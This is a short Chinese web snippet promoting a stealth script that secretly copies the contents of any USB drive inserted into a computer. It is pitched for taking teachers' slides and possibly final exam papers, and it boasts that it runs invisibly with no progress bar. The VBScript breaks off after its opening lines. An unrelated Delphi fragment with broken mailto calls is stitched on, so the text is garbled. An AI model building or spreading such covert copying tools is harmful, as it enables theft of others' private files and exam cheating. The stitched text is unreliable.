U盘插入自动复制,有效对付那些不肯给PPT的老师,还有一定几率拿到期末考试卷子···有图有真相!业界良心的好东西!!现在看还来得及!!! 代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行. 同样的建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样 把下面的代码复制进去 set fso=createobject("scripting.filesystemobject") set ws=cre
procedure TForm2.btn10Click(Sender: TObject); begin ShellExecute(handle,'open','mailt', nil,nil,SW_SHOWNORMAL); end; procedure TForm2.btn11Click(Sender: TObject); begin ShellExecute(handle,'open','mailt617346799@qq.com',nil,nil,SW_SHOWNORMAL); end; p